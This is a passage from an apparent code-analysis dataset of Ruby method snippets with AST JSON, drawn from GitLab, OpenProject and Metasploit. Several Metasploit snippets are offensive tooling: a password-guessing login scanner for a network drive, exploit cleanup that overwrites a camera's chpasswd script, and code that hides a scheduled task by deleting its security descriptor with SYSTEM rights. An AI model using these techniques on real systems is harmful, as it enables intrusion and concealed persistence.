",{\"type\":\"lvar\",\"children\":[\"ability\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"lvar\",\"children\":[\"actions\"]}]}]}]}]}]}","id":"2287e0c8-67be-440c-b49e-ed8844da97bb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/security/common.rb","start_line":190,"raw_source":"def create_analyzer\n            return unless analyzer_data.is_a?(Hash)\n\n            params = {\n              id: analyzer_data['id'],\n              name: analyzer_data['name'],\n              version: analyzer_data['version'],\n              vendor: analyzer_data.dig('vendor', 'name')\n            }\n\n            return unless params.values.all?\n\n            report.analyzer = ::Gitlab::Ci::Reports::Security::Analyzer.new(**params)\n          end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_analyzer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyzer_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyzer_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyzer_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyzer_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vendor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyzer_data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"vendor\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"values\"]},\"all?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"analyzer=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Reports\"]},\"Security\"]},\"Analyzer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}","id":"eafb2a3a-93dd-40d2-b479-3774d379a49a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/dlink_dcs931l_upload.rb","start_line":158,"raw_source":"def cleanup\n    chpasswd = <<~EOF\n      #!/bin/sh\n      #\n      # $Id: chpasswd.sh, v1.00 2009-11-05 andy\n      #\n      # usage: chpasswd.sh <user name> [<password>]\n      #\n\n      if [ \"$1\" == \"\" ]; then\n          echo \"chpasswd: no user name\"\n          exit 1\n      fi\n\n      echo \"$1:$2\" > /tmp/tmpchpw\n      chpasswd < /tmp/tmpchpw\n      rm -f /tmp/tmpchpw\n    EOF\n    res = upload('/sbin/chpasswd.sh', chpasswd)\n    if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/\n      vprint_good(\"Restored /sbin/chpasswd.sh successfully\")\n    else\n      vprint_warning(\"Could not restore /sbin/chpasswd.sh to default\")\n    end\n  end","complexity_score":17.98,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chpasswd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#!/bin/sh\\n\"]},{\"type\":\"str\",\"children\":[\"#\\n\"]},{\"type\":\"str\",\"children\":[\"# $Id: chpasswd.sh, v1.00 2009-11-05 andy\\n\"]},{\"type\":\"str\",\"children\":[\"#\\n\"]},{\"type\":\"str\",\"children\":[\"# usage: chpasswd.sh <user name> [<password>]\\n\"]},{\"type\":\"str\",\"children\":[\"#\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"if [ \\\"$1\\\" == \\\"\\\" ]; then\\n\"]},{\"type\":\"str\",\"children\":[\"    echo \\\"chpasswd: no user name\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    exit 1\\n\"]},{\"type\":\"str\",\"children\":[\"fi\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"echo \\\"$1:$2\\\" > /tmp/tmpchpw\\n\"]},{\"type\":\"str\",\"children\":[\"chpasswd < /tmp/tmpchpw\\n\"]},{\"type\":\"str\",\"children\":[\"rm -f /tmp/tmpchpw\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"str\",\"children\":[\"/sbin/chpasswd.sh\"]},{\"type\":\"lvar\",\"children\":[\"chpasswd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"File had been uploaded\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"Restored /sbin/chpasswd.sh successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"Could not restore /sbin/chpasswd.sh to default\"]}]}]}]}]}","id":"3b09b728-c98a-44a6-bd8a-a8c2032672c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/base.rb","start_line":25,"raw_source":"def invalid_location_type?\n              !location.is_a?(String)\n            end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_location_type?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},\"!\"]}]}","id":"baf5d684-1dbd-4bc6-b491-60a11ab8dbf6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/capabilities_query.rb","start_line":77,"raw_source":"def version(str)\n              return if str.nil?\n\n              major, minor, patch = str.split(\".\").map(&:to_i)\n              return if major.nil? || minor.nil? || patch.nil?\n\n              SemanticVersion.new(major:, minor:, patch:)\n            end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\"]},{\"type\":\"lvasgn\",\"children\":[\"minor\"]},{\"type\":\"lvasgn\",\"children\":[\"patch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patch\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SemanticVersion\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"major\"]},{\"type\":\"lvar\",\"children\":[\"major\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minor\"]},{\"type\":\"lvar\",\"children\":[\"minor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"patch\"]},{\"type\":\"lvar\",\"children\":[\"patch\"]}]}]}]}]}]}","id":"236e5274-a16e-477b-9381-5aed06c0b149"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/ci.rb","start_line":21,"raw_source":"def valid_token?(token)\n        respond_to?(:token) &&\n          self.token.present? &&\n          ActiveSupport::SecurityUtils.secure_compare(token, self.token)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token\"]}]}]}]}","id":"b8bfa3af-e09f-412f-a04f-4363b9470e19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/merge_request/show.rb","start_line":462,"raw_source":"def add_suggestion_to_diff(suggestion, line)\n          find(\"a[data-linenumber='#{line}']\").hover\n          click_element('left-comment-button')\n\n          if has_element?('suggestion-button', wait: 0.5)\n            click_element('suggestion-button')\n            initial_content = find_element('reply-field').value\n            fill_editor_element('reply-field', '')\n            fill_editor_element('reply-field',\n              initial_content.gsub(/(```suggestion:-0\\+0\\n).*(\\n```)/, \"\\\\1#{suggestion}\\\\2\"))\n          else\n            click_element('code-suggestion')\n            suggestion_field = find_element('suggestion-field')\n            suggestion_field.set(suggestion)\n            has_active_element?('comment-now-button', wait: 0.5)\n          end\n\n          click_element('comment-now-button')\n          wait_for_requests\n        end","complexity_score":22.65,"ast_json":"{\"type\":\"def\",\"children\":[\"add_suggestion_to_diff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suggestion\"]},{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a[data-linenumber='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"hover\"]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"left-comment-button\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"suggestion-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"suggestion-button\"]}]},{\"type\":\"lvasgn\",\"children\":[\"initial_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"reply-field\"]}]},\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_editor_element\",{\"type\":\"str\",\"children\":[\"reply-field\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_editor_element\",{\"type\":\"str\",\"children\":[\"reply-field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_content\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(```suggestion:-0\\\\+0\\\\n).*(\\\\n```)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\1\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion\"]}]},{\"type\":\"str\",\"children\":[\"\\\\2\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"code-suggestion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"suggestion_field\",{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"suggestion-field\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion_field\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"suggestion\"]}]},{\"type\":\"send\",\"children\":[null,\"has_active_element?\",{\"type\":\"str\",\"children\":[\"comment-now-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"float\",\"children\":[0.5]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"comment-now-button\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"873732b4-2cd6-43b8-9cd9-0f580b4ceb11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/mybook_live.rb","start_line":23,"raw_source":"def attempt_login(credential)\n          result_opts = {\n            credential: credential,\n            host: host,\n            port: port,\n            protocol: 'tcp'\n          }\n          if ssl\n            result_opts[:service_name] = 'https'\n          else\n            result_opts[:service_name] = 'http'\n          end\n          begin\n            res = send_request({\n              'method' => method,\n              'uri' => uri,\n              'vars_post' => {\n                'data[Login][owner_name]' => 'admin',\n                'data[Login][owner_passwd]' => credential.private\n              }\n            })\n\n            if res && res.code == 302 && res.headers['location'] && res.headers['location'].include?('UI')\n              result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)\n            elsif res.nil?\n              result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'No response')\n            else\n              result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.headers)\n            end\n          rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error\n            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)\n          end\n          Result.new(result_opts)\n        end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[Login][owner_name]\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[Login][owner_passwd]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"UI\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"str\",\"children\":[\"No response\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ETIMEDOUT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"result_opts\"]}]}]}]}","id":"1413d136-e79a-4c0b-809b-bef86091509f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/task_scheduler.rb","start_line":453,"raw_source":"def delete_reg_key_value(reg_key, reg_value, opts = {})\n          log_and_print('[Task Scheduler] Removing the Security Descriptor registry key value to hide the task')\n\n          log_and_print('[Task Scheduler] Checking if the key value exists')\n          unless reg_key_value_exists?(reg_key, reg_value)\n            raise TaskSchedulerObfuscationError, \"The #{reg_value} key value does not exist. Obfuscation is not possible\"\n          end\n\n          begin\n            get_system_privs\n          rescue TaskSchedulerSystemPrivsError\n            raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to delete the key value.'\n          end\n\n          remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']\n          log_and_print(\"[Task Scheduler] Deleting #{reg_value} in #{reg_key}#{\" on remote host #{remote_host}\" if remote_host.present?}\")\n          if remote_host.present?\n            begin\n              run_one_off_task(\"reg delete \\\\\\\"#{reg_key}\\\\\\\" /v \\\\\\\"#{reg_value}\\\\\\\" /f\")\n            rescue TaskSchedulerError => e\n              raise TaskSchedulerObfuscationError, \"Could not delete the key value: #{e}\"\n            end\n          else\n            result = cmd_exec_with_result(\"reg delete \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /f#{' /reg:64' unless @old_os}\", nil, 15, { 'UseThreadToken' => true })\n            unless result[1]\n              raise TaskSchedulerObfuscationError, \"Could not delete the key value. Error: #{result[0]}\"\n            end\n          end\n        end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_reg_key_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reg_key\"]},{\"type\":\"arg\",\"children\":[\"reg_value\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_and_print\",{\"type\":\"str\",\"children\":[\"[Task Scheduler] Removing the Security Descriptor registry key value to hide the task\"]}]},{\"type\":\"send\",\"children\":[null,\"log_and_print\",{\"type\":\"str\",\"children\":[\"[Task Scheduler] Checking if the key value exists\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reg_key_value_exists?\",{\"type\":\"lvar\",\"children\":[\"reg_key\"]},{\"type\":\"lvar\",\"children\":[\"reg_value\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TaskSchedulerObfuscationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_value\"]}]},{\"type\":\"str\",\"children\":[\" key value does not exist. Obfuscation is not possible\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_system_privs\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaskSchedulerSystemPrivsError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TaskSchedulerObfuscationError\"]},{\"type\":\"str\",\"children\":[\"Could not obtain SYSTEM privilege, which is needed to delete the key value.\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"remote_host\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remote_system\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ScheduleRemoteSystem\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_and_print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Task Scheduler] Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_value\"]}]},{\"type\":\"str\",\"children\":[\" in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_host\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" on remote host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_host\"]}]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_host\"]},\"present?\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_one_off_task\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reg delete \\\\\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_key\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\" /v \\\\\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_value\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\" /f\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaskSchedulerError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TaskSchedulerObfuscationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not delete the key value: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec_with_result\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reg delete \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_key\"]}]},{\"type\":\"str\",\"children\":[\"\\\" /v \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_value\"]}]},{\"type\":\"str\",\"children\":[\"\\\" 